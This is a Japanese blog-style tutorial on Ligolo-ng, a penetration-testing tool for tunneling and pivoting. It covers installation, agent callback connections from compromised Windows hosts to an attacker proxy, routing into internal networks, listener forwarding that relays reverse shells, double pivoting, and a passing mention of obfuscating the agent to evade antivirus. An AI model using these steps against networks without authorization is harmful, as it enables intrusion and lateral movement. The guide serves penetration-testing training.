Ligolo-ng: VPNのようなトンネリングを実現する強力なツール

はじめに: Ligolo-ngとは?

Ligolo-ngは、ペネトレーションテスターやレッドチームが内部ネットワークへアクセスするために使用する、高度かつシンプルなトンネリング・ピボットツールです。Go言語で書かれており、軽量かつ高速な動作が特徴です。

このツールの最大の特徴は、TUNインターフェースを利用してリバースTCP/TLS接続からトンネルを確立する点にあります。これにより、SOCKSプロキシを必要とせず、VPNに接続しているかのように透過的に内部ネットワークへアクセスできます。面倒なProxychainsの設定から解放されるのは大きなメリットです 。

Ligolo-ngは、侵害したマシン(エージェント)と攻撃者のマシン(プロキシ)の間に安全なトンネルを構築し、ファイアウォールなどのネットワーク制限をバイパスして、通常では到達できない内部リソースへのアクセスを可能にします。

Kali Linux 2024.2からはデフォルトのリポジトリに含まれるようになり、より手軽に利用できるようになりました。

Ligolo-ngの仕組み

Ligolo-ngは主に2つのコンポーネントで構成されます。

  • Proxy (プロキシ): 攻撃者のマシン(通常はKali Linux)で動作します。エージェントからの接続を待ち受け、TUNインターフェースを作成・管理します。
  • Agent (エージェント): 侵害したターゲットネットワーク内のマシンで動作します。プロキシサーバーに対してリバース接続を開始し、トンネルを確立します。エージェントの実行には管理者権限は不要です。

動作フローは以下のようになります。

  1. 攻撃者は自身のマシンでLigolo-ngプロキシを起動し、エージェントからの接続を待ち受けます。
  2. 攻撃者は、侵害したネットワーク内のマシンにLigolo-ngエージェントをアップロードし、実行します。
  3. エージェントは、指定された攻撃者のプロキシサーバーに対してリバース接続を試みます。
  4. 接続が確立されると、プロキシサーバーはTUNインターフェース(例: `ligolo`)を作成します。
  5. プロキシサーバーは、このTUNインターフェースを介して内部ネットワークへのルーティングを設定します。
  6. 攻撃者は、自身のマシンからTUNインターフェースを通じて、あたかも内部ネットワークに直接接続しているかのように、ターゲットネットワーク内の他のマシンやサービスにアクセスできます。

通信はTLSによって暗号化できるため、データの機密性と完全性が保証されます。

Ligolo-ngは、ユーザーランドのネットワークスタック(Gvisorを使用)を作成することで、TUNインターフェースを介して送受信されるパケットを処理します。例えばTCP接続の場合、SYNパケットはリモートでの`connect()`に変換され、成功すればSYN-ACKが返され、失敗すればRSTが返る、といった具合に動作します。これにより、Proxychainsを使わずに`nmap`のようなツールを直接実行できます。

インストール方法

Ligolo-ngのインストール方法はいくつかあります。

Kali Linux (推奨)

Kali Linux 2024.2以降を使用している場合、aptコマンドで簡単にインストールできます。

sudo apt update
sudo apt install ligolo-ng

ただし、常に最新版を使いたい場合は、GitHubリリースページから直接ダウンロードする方法が推奨されています。

GitHubからのダウンロード

最新版や特定のバージョンのバイナリは、公式のGitHubリリースページからダウンロードできます。

Ligolo-ng Releases

攻撃者マシン用のProxyバイナリと、ターゲットマシン(侵害先)のOSとアーキテクチャに合ったAgentバイナリをダウンロードします。例えば、攻撃者がLinux (amd64)、ターゲットがWindows (amd64) の場合は、以下のようになります。

# Proxy (Linux) のダウンロード例 (バージョンは適宜変更)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
tar -xvf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
chmod +x proxy

# Agent (Windows) のダウンロード例 (バージョンは適宜変更)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_agent_0.5.2_windows_amd64.zip
# (必要に応じて unzip で解凍)

ダウンロードしたAgentファイルは、ターゲットマシンに転送する必要があります(例: Webサーバー経由、SCP、SMBなど)。

ソースからのビルド (Proxy)

Proxyを自分でビルドする場合(通常は不要ですが)、Go言語の開発環境(バージョン1.20以上推奨)が必要です。

# Goのインストール (例: Debian/Ubuntu系)
sudo apt install golang

# リポジトリのクローン
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng

# Proxyのビルド
go build -o proxy cmd/proxy/main.go
chmod +x proxy

基本的な使い方

ここでは、攻撃者のKali Linuxマシンから、侵害したWindowsマシン(Pivotマシン)を踏み台にして、さらに内部のネットワーク(例: 192.168.100.0/24)にアクセスするシナリオを例に説明します。

前提:

  • 攻撃者マシン (Kali): IPアドレス `10.0.0.5`
  • Pivotマシン (Windows): 外部IP `10.0.0.10`、内部IP `192.168.100.10`
  • ターゲット内部ネットワーク: `192.168.100.0/24`
  • Ligolo-ngのProxyバイナリ (`proxy`) がKaliに、Agentバイナリ (`agent.exe`) がPivotマシンに配置済み。

ステップ1: TUNインターフェースの作成 (Kali)

まず、攻撃者マシン(Kali)でLigolo-ngが使用するTUNインターフェースを作成し、有効化します。これには管理者権限が必要です。

# 'your_username' は実際のKaliのユーザー名に置き換える
sudo ip tuntap add user your_username mode tun ligolo
sudo ip link set ligolo up

`ip a` コマンドなどで `ligolo` という名前のインターフェースが作成され、UP状態になっていることを確認します。

ステップ2: Proxyサーバーの起動 (Kali)

次に、攻撃者マシンでProxyサーバーを起動します。`-selfcert` オプションは、自己署名証明書を自動生成してTLS通信を有効にするためのものです。検証環境では便利ですが、実際の運用では信頼できる証明書の使用を検討してください。

./proxy -selfcert

Proxyはデフォルトでポート `11601` でエージェントからの接続を待ち受けます。

証明書について: `-selfcert` を使用すると、エージェント接続時に証明書のエラーを無視するオプション (`-ignore-cert`) が必要になります。Let’s Encryptなどで発行した正規の証明書を使用する場合は、Proxy起動時に `-certfile` と `-keyfile` オプションで指定し、エージェント接続時の `-ignore-cert` は不要になります。

ステップ3: Agentの接続 (Pivotマシン)

侵害したPivotマシン(Windows)上でAgentを実行し、KaliのProxyサーバーに接続します。

.\agent.exe -connect 10.0.0.5:11601 -ignore-cert
  • `-connect <proxy_ip>:<port>`: 接続先のProxyサーバーのIPアドレスとポートを指定します。
  • `-ignore-cert`: Proxyが自己署名証明書を使っている場合に指定します。

接続に成功すると、Kali側のProxyのコンソールに `Session […] started` のようなメッセージが表示されます。

ステップ4: セッションの確認と開始 (Kali Proxy)

KaliのProxyコンソールで、接続されたセッションを確認します。

session

アクティブなセッションが表示されるので、そのセッションを選択(通常は自動で選択されるか、番号で指定)し、`ifconfig` コマンドでPivotマシンのネットワーク情報を確認できます。

[Agent : WIN-MACHINE\User@WIN-MACHINE] » ifconfig

トンネルを開始します。

[Agent : WIN-MACHINE\User@WIN-MACHINE] » start

これでトンネルがアクティブになります。`start`コマンド実行後、Proxyコンソールには`Tunnel started`と表示され、Kali側にIPアドレス(例: `10.42.0.1/24`)が `ligolo` インターフェースに割り当てられます。

ステップ5: ルーティングの設定 (Kali)

最後に、Kaliマシンからターゲット内部ネットワーク(`192.168.100.0/24`)への通信が `ligolo` インターフェースを経由するようにルーティングを設定します。

sudo ip route add 192.168.100.0/24 dev ligolo

これで設定は完了です! Kaliマシンから `192.168.100.x` のIPアドレスを持つ内部マシンに対して、`ping` や `nmap`、`ssh` などのツールを直接使用できるようになります。Proxychainsは必要ありません。

ping 192.168.100.50
nmap -sT -p 80,445 192.168.100.0/24
ssh admin@192.168.100.60

便利な機能と応用

リスナー (Listener) 機能

Ligolo-ngには、Agentが動作しているマシン上のポートを、Proxyマシン(Kali)上のポートに転送するリスナー機能があります。これは、内部ネットワーク内のマシンからリバースシェルを受け取ったり、内部ネットワーク内のマシンからKali上のサーバー(例: HTTPサーバー)にアクセスさせたりするのに役立ちます。

例: 内部ネットワークのマシンからKaliへのリバースシェル

  1. Kali側でNetcatリスナーを起動: `nc -lvnp 4444`
  2. KaliのProxyコンソールでリスナーを設定 (Pivotマシンのポート1234への接続をKaliの4444へ転送):
    [Agent : WIN-MACHINE\User@WIN-MACHINE] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
  3. 内部ネットワークのマシンからPivotマシンのIP(例: `192.168.100.10`)のポート1234へリバースシェル接続を実行。

例: 内部ネットワークのマシンからKaliのWebサーバーへアクセス

  1. Kali側でWebサーバーを起動: `python3 -m http.server 8000`
  2. KaliのProxyコンソールでリスナーを設定 (Pivotマシンのポート8080への接続をKaliの8000へ転送):
    [Agent : WIN-MACHINE\User@WIN-MACHINE] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8000
  3. 内部ネットワークのマシンからブラウザなどで `http://192.168.100.10:8080` にアクセスすると、KaliのWebサーバーのコンテンツが表示されます。ファイル転送などに利用できます。

設定したリスナーは `listener_list` で確認、`listener_stop –id <ID>` で停止できます。

ダブルピボット (Double Pivoting)

Ligolo-ngは、複数のAgentを接続し、多段的なピボット(ダブルピボットなど)を行うことも可能です。例えば、Network A -> Network B (Pivot1) -> Network C (Pivot2) のような経路でNetwork Cにアクセスしたい場合です。

基本的な手順はシングルピボットと似ていますが、追加のステップが必要になります。

  1. 最初のPivot(Network B)へのトンネルを確立します(上記「基本的な使い方」参照)。
  2. Network B内の別のマシン(Pivot2)にAgentを転送し、そのAgentを起動します。この際、接続先として指定するのは最初のPivotマシン (Pivot1) の内部IPアドレスと、Kali Proxy上で設定したリスナーポートになります。
  3. Kali Proxy側で、Pivot2からの接続を受け付けるためのリスナーを設定します。
    [Agent : Pivot1] » listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601 --tcp
    (これはPivot1の11602ポートに来たTCP接続を、KaliのProxy待ち受けポート11601に転送する設定例です)
  4. Pivot2でAgentを起動し、Pivot1のIPアドレスとポート11602に接続します。
    .\agent.exe -connect <Pivot1_Internal_IP>:11602 -ignore-cert
  5. Kali ProxyにPivot2からの新しいセッションが確立されます。
  6. 新しいセッションを選択し、`start` コマンドでトンネルを開始します。
  7. Kaliで、Network Cへのルーティングを `ligolo` インターフェースに追加します。
    sudo ip route add <Network_C_CIDR> dev ligolo

これにより、KaliからNetwork Cへ直接アクセスできるようになります。より複雑なネットワーク構成でも、同様の手順でピボットを連鎖させることが可能です。

Agentが動作するホストへのアクセス

Agentが動作しているホスト自体のローカルポート(例: SSH、RDP)にアクセスしたい場合、Ligolo-ngは特別なIPアドレス `240.0.0.1` を提供します。KaliからこのIPアドレスにアクセスすると、現在アクティブなAgentセッションのホストに接続できます。

ssh user@240.0.0.1
xfreerdp /v:240.0.0.1 /u:user /p:password

利点と考慮事項

利点

  • 透過的なアクセス: VPNのように動作し、Proxychainsが不要なため、多くのツール(Nmap, Metasploit, RDPクライアントなど)をそのまま利用できます。
  • 高速: SOCKSプロキシを経由する方法(例: Chisel + Proxychains)と比較して、一般的に高速です。ベンチマークでは100 Mbps以上の速度も報告されています。
  • Agentに管理者権限不要: ターゲットマシン上でAgentを実行するのに管理者権限が必要ありません。
  • TLS暗号化: 通信はTLSで保護されます。
  • 多機能: リスナー機能やダブルピボットなど、高度なピボットシナリオに対応できます。
  • マルチプラットフォームAgent: Linux, Windows, macOSなど、様々なOS向けのAgentバイナリが提供されています。
  • 活発な開発: GitHub上で開発が継続されています。

考慮事項

  • Proxyに管理者権限が必要: 攻撃者マシン側でTUNインターフェースを作成するために管理者権限が必要です。
  • セットアップの複雑さ: Chiselのようなツールと比較すると、TUNインターフェースの作成やルーティング設定など、初期セットアップの手順が少し多いと感じるかもしれません。
  • Agentの検知リスク: Agentバイナリをターゲットマシンに配置・実行するため、アンチウイルスソフトやEDRによって検知される可能性があります。難読化や実行方法の工夫が必要になる場合があります。
  • 自己署名証明書のリスク: `-selfcert` オプションを使用する場合、中間者攻撃のリスクがないとは言えません。信頼性が重要な環境では、正規の証明書の使用を検討すべきです。

Ligolo-ng vs Chisel 比較表

Ligolo-ngとしばしば比較されるツールとしてChiselがあります。どちらも強力なトンネリングツールですが、仕組みや特徴に違いがあります。

特徴 Ligolo-ng Chisel
基本原理 TUNインターフェース (VPN風) SOCKSプロキシ / ポートフォワード
透過性 高い (Proxychains不要) 低い (SOCKS利用時はProxychains必要)
速度 一般的に高速 Ligolo-ngより遅い場合がある
Agent権限 一般ユーザー権限でOK 一般ユーザー権限でOK
Proxy/Server権限 管理者権限が必要 (TUN作成のため) 一般ユーザー権限でOK
設定の容易さ やや複雑 (TUN/Route設定) 比較的シンプル
プロトコル TCP, UDP, ICMPなど広範に対応 主にTCP (SOCKS経由)
暗号化 TLS (自己署名 or 正規証明書) SSHベースの暗号化 (セキュア)
主なユースケース VPNのように内部ネットワーク全体にアクセスしたい場合。Nmap等ツールを直接使いたい場合。 特定のポートフォワードやSOCKSプロキシを手軽に構築したい場合。管理者権限が使えない攻撃者マシン環境。

どちらのツールが適しているかは、状況や目的によって異なります。両方の使い方を習得しておくと、ペネトレーションテストにおける選択肢が広がります。OSCPのような試験では、Ligolo-ngが推奨されることが多いようです。

まとめ

Ligolo-ngは、TUNインターフェースを利用することで、VPNのような透過的なネットワークアクセスを実現する非常に強力なピボット・トンネリングツールです。Proxychainsの設定の手間から解放され、Nmapなどの標準的なネットワークツールを直接内部ネットワークに対して使用できる点は大きな魅力です。

セットアップにはTUNインターフェースの作成やルーティング設定など、いくつかのステップが必要ですが、一度慣れてしまえば、その利便性とパフォーマンスの高さから手放せないツールとなるでしょう。特に、複雑なネットワーク環境でのラテラルムーブメントや、Active Directory環境のペネトレーションテストにおいて、その真価を発揮します。

リスナー機能やダブルピボット機能も備えており、様々なシナリオに対応可能です。ペネトレーションテスターやレッドチーマーにとって、習得しておくべき重要なツールの一つと言えます。ぜひ試してみてください!

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です